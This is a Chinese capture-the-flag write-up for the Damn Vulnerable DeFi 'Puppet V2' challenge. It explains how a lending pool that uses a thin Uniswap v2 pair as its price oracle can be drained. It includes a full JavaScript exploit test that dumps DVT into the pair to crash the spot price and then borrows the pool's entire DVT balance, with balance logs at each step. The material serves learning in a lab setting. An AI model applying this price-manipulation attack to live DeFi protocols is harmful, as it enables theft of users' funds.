跳到主要内容

puppetv2

题目链接:https://www.damnvulnerabledefi.xyz/challenges/9.html

题目描述:

上一题借贷池的开发者发布了新的版本,现在使用 Uniswap v2 交易所作为价格预言机,以及推荐的工具库。

你初始有 20ETH 和 10000DVT,新的借贷池中有 100 万个 DVT。你需要取光改借贷池中的 DVT。

本题的解题思路同上一题,不同的是 ETH 换成了 WETHWETH 是符合 ERC20 标准的代币,并且同 ETH 的价值比是 1:1

其次是使用 uniswap 的 v2 版本作为价格预言机。v2 版本支持 TokenToken 的配对合约,本题中的配对合约是 WETH-DVT。

借贷合约 PuppetV2Pool.sol 提供的借贷的功能如下

function borrow(uint256 borrowAmount) external {
// 确保该合约持有的DVT数量是大于要借出数量
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// 计算需要存多少WETH
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

// 转WETH到该合约中
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

// 记录存入的WETH
deposits[msg.sender] += depositOfWETHRequired;

// 将 DVT token 转给 msg.sender
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

允许借出 DVT 的前提是需要存入 WETH,存入多少 WETH 是根据下面的方法计算的

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
// 抵押物的价值是3倍于借出的DVT
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

function _getOracleQuote(uint256 amount) private view returns (uint256) {
// 获取 WETH 和 DVT 的储备量
// getReserves 内部计算配对合约的地址,并返回配对的 Token 的储备量
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
// 计算DVT的价值
// amount / x = reservesToken / reservesWETH
// x = (amount * reservesWETH) / reservesToken
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

uniswap 有配对合约 WETH-DVT,储备量分别为 reservesWETHreservesToken

计算 DVT 的价值满足公式:

x=amount×reservesWETHreservesTokenx = \frac {amount \times reservesWETH}{reservesToken}

在测试脚本 puppet-v2.challenge.js 中做了如下初始化

  • Uniswap 工厂合约部署了 WETH-DVT 的配对合约并添加流动性 10WETH-100DVT

  • attacker 转账 10000DVT 和 20ETH

  • 给借贷合约转账 1000000DVT

如果黑客直接全部借出 DVT,则需要付出的成本为

100000010100×3=300000(WETH)\frac {1000000 * 10}{100} \times 3 = 300000(WETH)

由于 WETHWTH 是 1:1 等价的,同时黑客只持有 20 ETH。所以这是不可能完成。

因此可以用黑客持有的 DVTuniswap 中兑换 WETH,此举会增加 WETH-DVT 配对合约中 DVT 的储备量并降低 WETH 储备量,即在计算 DVT 价值的公式中,会增加分母并减小分子的值。所以 DVT 的价值会整体降低。

it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallUniswap = this.uniswapRouter.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallWETH = this.weth.connect(attacker)

// init:
// Attacker ETH: 20.0
// Attacker WETH: 0.0
// Attacker DVT: 10000.0
// Uniswap WETH: 10.0
// Uniswap DVT: 100.0
// LendingPool DVT: 1000000.0

// 授权 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(
attackerCallUniswap.address,
ATTACKER_INITIAL_TOKEN_BALANCE
)

// 在 uniswap 中使用 DVT 兑换 WETH
await attackerCallUniswap.swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('9'),
[attackerCallToken.address, attackerCallWETH.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// Attacker ETH: 19.99975413442550073
// Attacker WETH: 9.900695134061569016
// Attacker DVT: 0.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 1000000.0

// 计算需要抵押的 WETH 数量
const collateralCount =
await attackerCallLendingPool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE
)
console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
// collateralCount: 29.49649483319732198

await attackerCallWETH.approve(
attackerCallLendingPool.address,
collateralCount
)
const tx = {
to: attackerCallWETH.address,
value: ethers.utils.parseEther('19.9')
}
await attacker.sendTransaction(tx)

// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})

// Attacker ETH: 0.099518462674923535
// Attacker WETH: 0.304200300864247036
// Attacker DVT: 1000000.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 0.0
// The WETH that the hacker deposited: 29.49649483319732198
})

最后执行 yarn puppet-v2 测试通过!

完整代码